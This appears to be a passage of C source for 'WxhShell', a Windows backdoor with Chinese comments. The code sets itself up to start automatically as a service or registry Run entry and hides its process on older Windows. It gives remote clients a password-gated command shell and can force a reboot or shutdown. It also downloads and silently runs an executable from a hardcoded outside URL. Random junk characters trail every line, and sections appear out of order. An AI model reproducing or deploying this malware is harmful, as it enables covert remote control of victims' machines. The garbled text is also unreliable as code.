    closesocket(wsh); [c=![ *}/  
    ExitThread(0); b4ke'gx  
    } P=9sP:[f6  
    break; F*:H&,  
    } |NjyO>@Pa  
  // 关机 wlP% U  
  case 'd': { e6T?2`5P  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lL'K1%{+ \  
    if(Boot(SHUTDOWN)) ^ilgd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2v*X^2+  
    else { 1o   
    closesocket(wsh); AMK3I`=8WO  
    ExitThread(0); N=8CVI  
    } T Q {8 ee{  
    break; ,~K4+ t_  
    } HE2t0sAYX  
  // 获取shell cZt5;"xgr]  
  case 's': { Au )%w  
    CmdShell(wsh); @$!"}xDR'  
    closesocket(wsh); 9*?YES'6  
    ExitThread(0); U!nNT==  
    break; Mw;^`ZxT  
  } (i@(ZG]/  
  // 退出 fX&g. fH  
  case 'x': { Hu!<GB~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B=%YD"FAv  
    CloseIt(wsh); N,cj[6;T%  
    break; _9/Af1 X  
    } <g8{LG0  
  // 离开 <S@2%%W  
  case 'q': { ;/^O7KM-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t{ridA}  
    closesocket(wsh); !6s]p%{V  
    WSACleanup(); !<>`G0  
    exit(1); qMBEJ<o  
    break; @c,=c+-  
        } @oMl^UYM=  
  } 5pE@Ww  
  } Nn5sD3z#  
Vf(n  
  // 提示信息 @d[)i,d:G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XToYtdt2  
} Pv8AWQQJ  
  } ^DR`!.ttr  
D4+OWbf6  
  return; fhQ N;7  
} -]MZP:s  
O<0-`=W,a  
// shell模块句柄 |Gb~[6u   
int CmdShell(SOCKET sock) w:9n/[  
{ ^`(3X  
STARTUPINFO si; X*:)]p(R  
ZeroMemory(&si,sizeof(si)); _3_o/I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (Z>vbi%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Qhn>aeW,  
PROCESS_INFORMATION ProcessInfo; xx%*85<  
char cmdline[]="cmd"; gf|&u4D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3],[6%w  
  return 0; 2FTJxSC  
} $D#eD.  
p:|p?  
// 自身启动模式 rAQ3x0  
int StartFromService(void) ^eqq|(<K  
{ qIgb;=V  
typedef struct UrB {jS?  
{ 5CM]-qbf@  
  DWORD ExitStatus; t*!Q9GC_  
  DWORD PebBaseAddress; &eX^ll  
  DWORD AffinityMask; }Q>??~mVl  
  DWORD BasePriority; 3ry0.  
  ULONG UniqueProcessId; [UaM}-eR  
  ULONG InheritedFromUniqueProcessId; ()@+QE$  
}   PROCESS_BASIC_INFORMATION; zDA;FKZPp  
,W;2A0A?X  
PROCNTQSIP NtQueryInformationProcess; y8O<_VOO}"  
a 1pa#WC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }Xy<F?Mh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p4wXsOQ}  
5A"OL6ty  
  HANDLE             hProcess; ~FZ=  
  PROCESS_BASIC_INFORMATION pbi; '\Hh  
U_Va'7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sZ7BBJX2K  
  if(NULL == hInst ) return 0; v!?>90a  
 jQ?6I1o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I=yy I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q\\52 :\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H9T'{R*FC  
X9n},}bJ"  
  if (!NtQueryInformationProcess) return 0; cH\.-5NQ  
L [7Aa"R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `Jon^&^;|  
  if(!hProcess) return 0; 2UjQ!g`  
*.NVc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k:kx=K5=4  
^0&   
  CloseHandle(hProcess); Ea[K$NC)#  
o8ADAU"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c27A)`   
if(hProcess==NULL) return 0; @,v.Y6Ge  
*H%Jgz,  
HMODULE hMod; FOd)zU*L2  
char procName[255]; =P<7tsSuoK  
unsigned long cbNeeded; &p#.m"Oon  
N[AX]gOJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q>emyij  
ibskce{H  
  CloseHandle(hProcess); 8;]U:tv  
p_2-(n@  
if(strstr(procName,"services")) return 1; // 以服务启动 3)+}2  
(y!<^ Q  
  return 0; // 注册表启动 F2RU7o'f.  
} :Sd iG=t  
?Dk&5d^d  
// 主模块 u >o2lvy8  
int StartWxhshell(LPSTR lpCmdLine) Mk@%Wuxg2  
{ E"$AOM?(*i  
  SOCKET wsl; 7LY4q/  
BOOL val=TRUE; F%pYnHr<  
  int port=0; op|/_I$  
  struct sockaddr_in door; ohe0}~)V  
Y-Gqx  
  if(wscfg.ws_autoins) Install(); juQQ  
^X/[x]UOT@  
port=atoi(lpCmdLine); E)w^odwMU  
INj2B@_  
if(port<=0) port=wscfg.ws_port; 8n^v,s>  
4r'f/s8"#  
  WSADATA data; Dy_Za.N2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y0D="2)  
k&PxhDf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qXJBLIG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &}G2;O}3  
  door.sin_family = AF_INET; )a%kAUNj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2pEr s|r  
  door.sin_port = htons(port); Bdd>r# ]  
0R%R2p'wG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ki[Yu+';}  
closesocket(wsl); 9'|NF<  
return 1; =N%;HfUD  
} ?tLBEoUmKT  
WM_wkvY l  
  if(listen(wsl,2) == INVALID_SOCKET) { 'X$2gD3c9  
closesocket(wsl); g~JN"ap  
return 1; %4~2  
} ], HF) 21  
  Wxhshell(wsl); q'%-8t  
  WSACleanup(); <k0$3&D  
se1\<YHDS  
return 0; z\fmwI  
- W5ml @  
}  k_;+z  
xu _:  
// 以NT服务方式启动  X)^kJ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) - kVt_  
{ l |c#  
DWORD   status = 0; `}YCUm[SI  
  DWORD   specificError = 0xfffffff; 3~7X2}qU  
.6m%/-whS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QVVR_1Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2O^7zW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6WEYg   
  serviceStatus.dwWin32ExitCode     = 0; Qyr^\a;k'  
  serviceStatus.dwServiceSpecificExitCode = 0; ersddb^J]  
  serviceStatus.dwCheckPoint       = 0; Rs<li\GS  
  serviceStatus.dwWaitHint       = 0; CVp`G"W:  
8MH ZWi  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K(+ ~#$|-~  
  if (hServiceStatusHandle==0) return; kCO`JAH#  
!vB8Pk"  
status = GetLastError(); n .{Ud\|  
  if (status!=NO_ERROR) mBC?Pg  
{   SW ^F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G G]4g)O5  
    serviceStatus.dwCheckPoint       = 0; k/&~8l.$  
    serviceStatus.dwWaitHint       = 0; 0T{Z'3^=  
    serviceStatus.dwWin32ExitCode     = status; U&uop$/Cq  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1d4?+[)gUv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]D@_cxud3  
    return; 8%qHy1  
  } `J%iFm/5*  
H]7MNY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1/O7K R`K  
  serviceStatus.dwCheckPoint       = 0; [YQVZBT|{  
  serviceStatus.dwWaitHint       = 0; O(~74:#*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GS %ACk  
} fZQC'Z>EX  
38 Q>x  
// 处理NT服务事件,比如:启动、停止 h <s.o#8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u dhj$:t  
{ mT@8(  
switch(fdwControl) xU4,Rcgo  
{ SL9]$MmJn  
case SERVICE_CONTROL_STOP: o\oS_f:RD  
  serviceStatus.dwWin32ExitCode = 0; ^{3,ok*Nf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9U[ A   
  serviceStatus.dwCheckPoint   = 0; BM_hW8&G  
  serviceStatus.dwWaitHint     = 0; \zA G#{  
  {  Hy _ (  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w^e5"og]  
  } >}tm8|IHoo  
  return; &&/2oP+z  
case SERVICE_CONTROL_PAUSE: @ j/UDM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :`~;~gW<  
  break; k?%?EsR  
case SERVICE_CONTROL_CONTINUE: Bg"KNg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z= P]UD  
  break; +}eGCZra  
case SERVICE_CONTROL_INTERROGATE: rq;Xcc  
  break; &R? \q*  
}; oDtgB O<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Nu ~4  
} Z%]s+V)st  
\OV><|Lkh  
// 标准应用程序主函数 sYQ=nL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vhA 4ol  
{ 0}a="`p#<  
>h?!6L- d  
// 获取操作系统版本 S${n:e0\  
OsIsNt=GetOsVer(); IkzY   
GetModuleFileName(NULL,ExeFile,MAX_PATH); _O76Aw-@l  
Sm@T/+uG:  
  // 从命令行安装 n-/ {H4\  
  if(strpbrk(lpCmdLine,"iI")) Install(); cO]_5@#f'8  
$e bx  
  // 下载执行文件 'jr\F2  
if(wscfg.ws_downexe) { 'G6g yO/K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I\%a<  
  WinExec(wscfg.ws_filenam,SW_HIDE); S?ypka"L  
} '&XL|_Iq  
w}wABO  
if(!OsIsNt) { ]kXiT Yg  
// 如果时win9x,隐藏进程并且设置为注册表启动 k,p:!S(bl  
HideProc(); ?<YQ %qaW7  
StartWxhshell(lpCmdLine); z}'-gv\,  
} {h< V^r  
else l[Hgh,  
  if(StartFromService()) `eD70h`XK  
  // 以服务方式启动 T d E.e(  
  StartServiceCtrlDispatcher(DispatchTable); 0X.(BRI~6p  
else e XB'>#&s  
  // 普通方式启动 ?AMn>v  
  StartWxhshell(lpCmdLine); ?X'm>R. @  
2pKkg>/S  
return 0; :gD=F&V  
} rb"J{^  
"iu9r%l94  
it Byw1/  
9/?@2  
=========================================== }@Ap_xW  
p\A!"KC  
~F gxhK2+  
?Xdb%.   
fi |k)  
{5%u G2g  
" <'{*6f@n  
:eL{&&6  
#include <stdio.h> `%%/`Qpj;  
#include <string.h> zSJSus  
#include <windows.h> J>@T'#  
#include <winsock2.h> Y (a0*fh  
#include <winsvc.h> >s 5i  
#include <urlmon.h> Wu}84W"!.V  
16J" QUuG  
#pragma comment (lib, "Ws2_32.lib") ><t4 f(d  
#pragma comment (lib, "urlmon.lib") 8>\tD  
/0.m|Th'm  
#define MAX_USER   100 // 最大客户端连接数 A_:CGtv:  
#define BUF_SOCK   200 // sock buffer Mm&#I[:  
#define KEY_BUFF   255 // 输入 buffer 8-s7^*!  
GkOZ =ej  
#define REBOOT     0   // 重启 `#/0q*$  
#define SHUTDOWN   1   // 关机 T[M:%vjYF  
VLdQXNg9W"  
#define DEF_PORT   5000 // 监听端口 y.iA]Ikz  
n<GTc{>Z  
#define REG_LEN     16   // 注册表键长度 Gx&o3^t  
#define SVC_LEN     80   // NT服务名长度 QfdATK P  
^x BQ#p  
// 从dll定义API (_9u<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W 'w{}|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^k* h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \LN!k-c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *n"{]tj^>  
zwLJ|>  
// wxhshell配置信息 q(Q$lRj/I-  
struct WSCFG { ?RP&XrD  
  int ws_port;         // 监听端口 UrMEL; @g  
  char ws_passstr[REG_LEN]; // 口令 n+'gVEBA  
  int ws_autoins;       // 安装标记, 1=yes 0=no IqA'Vz,lL  
  char ws_regname[REG_LEN]; // 注册表键名 b.N$eJlQ&  
  char ws_svcname[REG_LEN]; // 服务名 Oq`CKf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f/?uo sS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6Z}8"VJr {  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,8tk]W[C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no efT@A}sV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _~QiQDq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8q}955Nl  
vtA%^~0  
}; =._V$:a6o  
~W>3EJghR,  
// default Wxhshell configuration M:PEY*4H  
struct WSCFG wscfg={DEF_PORT, HQy:,_f@  
    "xuhuanlingzhe", cF2!By3M  
    1, q6]T;)U&  
    "Wxhshell", 762c`aP_(  
    "Wxhshell", _ SuW86  
            "WxhShell Service", TJO?BX_9  
    "Wrsky Windows CmdShell Service", GJ9'i-\*\  
    "Please Input Your Password: ", `K%f"by  
  1, a'Vz|S G  
  "http://www.wrsky.com/wxhshell.exe", N6>ert1  
  "Wxhshell.exe" xlP0?Y1Bl  
    }; K Y=$RO  
(:9=M5d  
// 消息定义模块 PxvD0GTW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >WcOY7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p.ks jD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X-_ $jKfM  
char *msg_ws_ext="\n\rExit."; J4woZ{d  
char *msg_ws_end="\n\rQuit."; ZL7#44  
char *msg_ws_boot="\n\rReboot..."; w$evAPuz^  
char *msg_ws_poff="\n\rShutdown..."; b_&KL_vo{|  
char *msg_ws_down="\n\rSave to "; O{<uW-  
~VKuRli|m  
char *msg_ws_err="\n\rErr!"; Ux!q(9<_  
char *msg_ws_ok="\n\rOK!"; ?!Wh ^su-  
fi tsu"G  
char ExeFile[MAX_PATH]; .FdzEauVc  
int nUser = 0; \z8j6 h  
HANDLE handles[MAX_USER]; JeXA*U#  
int OsIsNt; yt4sg/] :  
0^25uAD=  
SERVICE_STATUS       serviceStatus; _kZ&t_]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,Qh9}I7;C  
<1pRAN0  
// 函数声明 HYwtGj~5  
int Install(void); 4;|@eN  
int Uninstall(void); d(_;@%p1X  
int DownloadFile(char *sURL, SOCKET wsh); j9 d^8)O,  
int Boot(int flag); 0 3?7kAI  
void HideProc(void); Y(<(!TJ-  
int GetOsVer(void); ]}Jb'(gMO4  
int Wxhshell(SOCKET wsl); J5zKwt  
void TalkWithClient(void *cs); o]<@E uG  
int CmdShell(SOCKET sock); {5NE jUu{j  
int StartFromService(void); Jwtt&" c0.  
int StartWxhshell(LPSTR lpCmdLine); 3P|z`}Ka  
5L0w!q'W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L2Z-seE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |I2~@RfpO:  
Ywo=w:'  
// 数据结构和表定义 MFtC2*  
SERVICE_TABLE_ENTRY DispatchTable[] = r @URs;O=  
{ Yma-$ytp  
{wscfg.ws_svcname, NTServiceMain}, f{w[H S,z  
{NULL, NULL} KLpFW}  
}; !<UdG+iV  
hcT5>w[  
// 自我安装 ?~9o2[  
int Install(void) ?58*#'r  
{ iGw\A!}w\  
  char svExeFile[MAX_PATH]; ,opS)C$  
  HKEY key; l|S_10x5  
  strcpy(svExeFile,ExeFile); }08Sv=XM  
68()2v4X  
// 如果是win9x系统,修改注册表设为自启动 d9.I83SS  
if(!OsIsNt) { (v0i]1ly[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _x]q`[Dih  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yc-gJI*1  
  RegCloseKey(key); 6#;u6@+}yy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7.nNz&UG]5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l H{~?x  
  RegCloseKey(key); bNG7A[|B  
  return 0; J] )gXVRM  
    } KP xf  
  } qM(@wFg  
} xxZO{_q  
else { ZPlY]e  
,CP&o  
// 如果是NT以上系统,安装为系统服务 IWT -)+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {O_`eS  
if (schSCManager!=0) i{7Vh0n3S-  
{ j-k]|0ea}  
  SC_HANDLE schService = CreateService S^7u`-  
  ( 303x|y  
  schSCManager, wqF_hs(O  
  wscfg.ws_svcname, /_V4gwb}|-  
  wscfg.ws_svcdisp, Is(ZVI  
  SERVICE_ALL_ACCESS,  'EO"0,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CP LsSv5  
  SERVICE_AUTO_START, R,8460e7  
  SERVICE_ERROR_NORMAL, =kBWY9 :$,  
  svExeFile, C[[:/X(c  
  NULL, 3a?dNwM@  
  NULL, -uhg7N[3  
  NULL, =GL^tAUJ  
  NULL, 1$nuh@-ys  
  NULL iHk/#a  
  ); =p \eh?^  
  if (schService!=0) 6Zmzo,{  
  { F @uOXNz)  
  CloseServiceHandle(schService); NI2-*G_M  
  CloseServiceHandle(schSCManager); uX8G<7O^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }UWi[UgA  
  strcat(svExeFile,wscfg.ws_svcname); '^`%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { | W<jN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r}|a*dh'R  
  RegCloseKey(key); 5iZ;7 ?(  
  return 0; ]DK.4\^  
    } PX5U)  
  } 7xfN}iHG  
  CloseServiceHandle(schSCManager); D%h_V>#z  
} _YA;Nd#%k  
} wT&P].5n  
K{`3,U2Wx  
return 1;  <xwaFZ  
} "64D.c(r$  
qj*77  
// 自我卸载 b/&{:g!B  
int Uninstall(void) nzl3<Ar  
{ :Y[?@/m4  
  HKEY key; {TC_ 4Y|8  
w!/|aZ~*  
if(!OsIsNt) { x-H R[{C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %!V=noo  
  RegDeleteValue(key,wscfg.ws_regname); g*$yUt  
  RegCloseKey(key); jWGX :XB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r^+n06[  
  RegDeleteValue(key,wscfg.ws_regname); wyUfmk_}  
  RegCloseKey(key); : G0^t  
  return 0; FK,Jk04on  
  } DX<xkS[P  
} ;s w3MRJ  
} 'ExTnv ~  
else { ZnRE:=  
ke5_lr(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %VGQ{:  
if (schSCManager!=0)  4FcY NJq  
{ Wq/0}W.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ($s%B  
  if (schService!=0)  r95$( N  
  { M6*8}\  
  if(DeleteService(schService)!=0) { rE4qPzL  
  CloseServiceHandle(schService); rB-}<22.  
  CloseServiceHandle(schSCManager); skBzwVW I  
  return 0; X  m%aT  
  } 7=@Mn F`  
  CloseServiceHandle(schService); +KHk`2{y~  
  }  2D"\Ox  
  CloseServiceHandle(schSCManager); -"w&g0Z  
} )Zit6I  
} W%P0X5YQ  
Qh,Dcg2ZM"  
return 1; RRJN@|"  
}  F!&_  
h2mU  
// 从指定url下载文件 k4BiH5\hA  
int DownloadFile(char *sURL, SOCKET wsh) Kv#TJn  
{ =d1R9O  
  HRESULT hr; XV0t 8#T2  
char seps[]= "/"; 42 &m)  
char *token; L`0}wR?+  
char *file; S0mF %"  
char myURL[MAX_PATH]; @+^5ze\  
char myFILE[MAX_PATH];  *egAx  
U?yKwH^{  
strcpy(myURL,sURL); %|gj46  
  token=strtok(myURL,seps); ARa9Ia{@  
  while(token!=NULL) YhJ*(oWL  
  { hxj[gE'R(  
    file=token; `I)ftj%  
  token=strtok(NULL,seps); ] KR\<MJK  
  } bcE%EQ  
mc}r15:<  
GetCurrentDirectory(MAX_PATH,myFILE); YLe$Vv735  
strcat(myFILE, "\\"); Mf.:y  
strcat(myFILE, file); XjV,wsZ=  
  send(wsh,myFILE,strlen(myFILE),0); #>(h!lT_  
send(wsh,"...",3,0); GeCyq%dN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X?Z#k~JR  
  if(hr==S_OK) UY*[='l!)  
return 0; 2ZZF hj  
else p/%B>Y >  
return 1; N!#TK9  
8CN 0Q&|  
} 7EukrE<b'  
xN]88L}Tn  
// 系统电源模块 1F58 2 l  
int Boot(int flag) a>/jW-?  
{ U{~R39  
  HANDLE hToken; _+x&[^gjP  
  TOKEN_PRIVILEGES tkp; o9D]\PdL>  
F` gQ[  
  if(OsIsNt) { $XO#qOW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z|dng6ck  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4.0JgX  
    tkp.PrivilegeCount = 1; o 2sOf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q.]RYv}\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kpt 0spp  
if(flag==REBOOT) { X4}Lg2ts  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _b1w<T `  
  return 0; ]U,f}T"e  
} Kh;jiK !  
else { =_Y#uE$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .j_YVYu1&  
  return 0; 4'ymPPY  
} Xv1mjHZCC  
  } qOd*9AS'|M  
  else { =/]d\JSp  
if(flag==REBOOT) { ,6FmU$ Kn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,c\3b)ax  
  return 0; 0(~,U!g[=  
} 3-Xc3A=w  
else { C!r9+z)<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3gzcpFNqX  
  return 0; v5!G/TZ1  
} KZ}F1Mr  
} FD*w4U5  
, ,=7deR  
return 1; 8C!D=Vhh  
} ;p}X]e l}  
D/=  AU  
// win9x进程隐藏模块 auP6\kpMe  
void HideProc(void) p .^#mN  
{ (0/)vZc  
T2V# fYCc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #`9D,+2iB%  
  if ( hKernel != NULL ) xX]92Q  
  { ;'x\L<b/)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EO[UezuU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MGzuQrl{H  
    FreeLibrary(hKernel); (o5+9'y"9  
  } Yh}F  
$5;RQNhXh  
return; 0Zv<]xO  
} ^7l^ /GSO  
&\0V*5tI  
// 获取操作系统版本 [rt+KA  
int GetOsVer(void) =Nj58l  
{ 8+7=yN(  
  OSVERSIONINFO winfo; ve|`I=?2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H _%yh,L  
  GetVersionEx(&winfo); VD*xhuy$k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?NL>xMA  
  return 1; ix=H=U]Q{  
  else (YJ]}J^  
  return 0; ORo +=2  
} ADa'(#+6  
;f8$vW ];  
// 客户端句柄模块 Rr'^l ]  
int Wxhshell(SOCKET wsl) /:j9 #kj  
{ v9[[T6t/'  
  SOCKET wsh; =5-|H;da  
  struct sockaddr_in client; -bHfo%"^TT  
  DWORD myID; *8*E\nZx!  
r ]cC4%in  
  while(nUser<MAX_USER) LFx*_3a  
{ JyBsOC3  
  int nSize=sizeof(client); LBlaDw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #iot.alNA  
  if(wsh==INVALID_SOCKET) return 1; '0!IF&p'  
jJmg9&^R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {,|J?>{  
if(handles[nUser]==0) #!%\97ZR  
  closesocket(wsh); }m~2[5q%/  
else @?GOOD_i  
  nUser++; '5mzlR  
  } ;-koMD!2F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;S FmbZ%~  
lilKYrUmG  
  return 0; qOKC2WD  
} ]eJjffx  
!:[kS1s>M  
// 关闭 socket vh~:{akR  
void CloseIt(SOCKET wsh) j aj."v  
{ `euk&]/^.)  
closesocket(wsh); }Dig'vpMx  
nUser--; btC.EmX  
ExitThread(0); ;b""N,  
} myj^c>1Iz  
*1L;%u| [  
// 客户端请求句柄 k-( hJ}N  
void TalkWithClient(void *cs) N2"4dVV;  
{ Y(D@B|"'m  
#]yb;L  
  SOCKET wsh=(SOCKET)cs; #<7ajmr  
  char pwd[SVC_LEN]; %` c?cB  
  char cmd[KEY_BUFF]; (/c&#W  
char chr[1]; @'Er&[P  
int i,j; C<.t'|  
,'CDKzY  
  while (nUser < MAX_USER) { =~&Fq$$  
43mV~Oj  
if(wscfg.ws_passstr) { J jCzCA:K_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uxq!kF'Ls  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'CDRb3w}B  
  //ZeroMemory(pwd,KEY_BUFF); [1Dg_>lz  
      i=0; $?OuY*ZeY9  
  while(i<SVC_LEN) { L7jMpz&  
r"a4 ;&mf  
  // 设置超时 9's/~T  
  fd_set FdRead; w@P c7$EP  
  struct timeval TimeOut; 5@+8*Fdk  
  FD_ZERO(&FdRead); UN&b]vg  
  FD_SET(wsh,&FdRead); W`C&$v#  
  TimeOut.tv_sec=8; a$c7d~p$I  
  TimeOut.tv_usec=0; ^ ,Bxq^'D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &/7AW(?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K/ q:aMq  
ba?]eK   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 13]sZ([B%|  
  pwd=chr[0]; vXnTPjbE  
  if(chr[0]==0xd || chr[0]==0xa) { K%<Z"2!+  
  pwd=0; <!\J([NM8  
  break; Riq5Au?*)  
  } I3xx}^V  
  i++; BPnZ"w_  
    } ,=tVa])  
uBk$zs  
  // 如果是非法用户,关闭 socket A$RN7#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ms*;?qtrR  
} *xs8/?  
DVYY1!j<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]?L?q2>&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <3;/,>^ Pm  
$S$%avRX  
while(1) { Aa&3x~3+  
5Mb1==/R  
  ZeroMemory(cmd,KEY_BUFF); c@{,&,vsj  
bQk5R._got  
      // 自动支持客户端 telnet标准   r4O*0Q_  
  j=0; {y|y68y0+  
  while(j<KEY_BUFF) { S ~lw5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uU`zbh}]L.  
  cmd[j]=chr[0]; Mi\f?  
  if(chr[0]==0xa || chr[0]==0xd) { S8" h9|  
  cmd[j]=0; EX8:B.z`57  
  break; ushQWP)  
  } t=~5 I >  
  j++; nTj Q4y  
    } FuaGr0]  
EOV<|WF>  
  // 下载文件 =o=)EU{~  
  if(strstr(cmd,"http://")) { =,I,K=+_x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  @4_CR  
  if(DownloadFile(cmd,wsh)) 9dw02bY`  
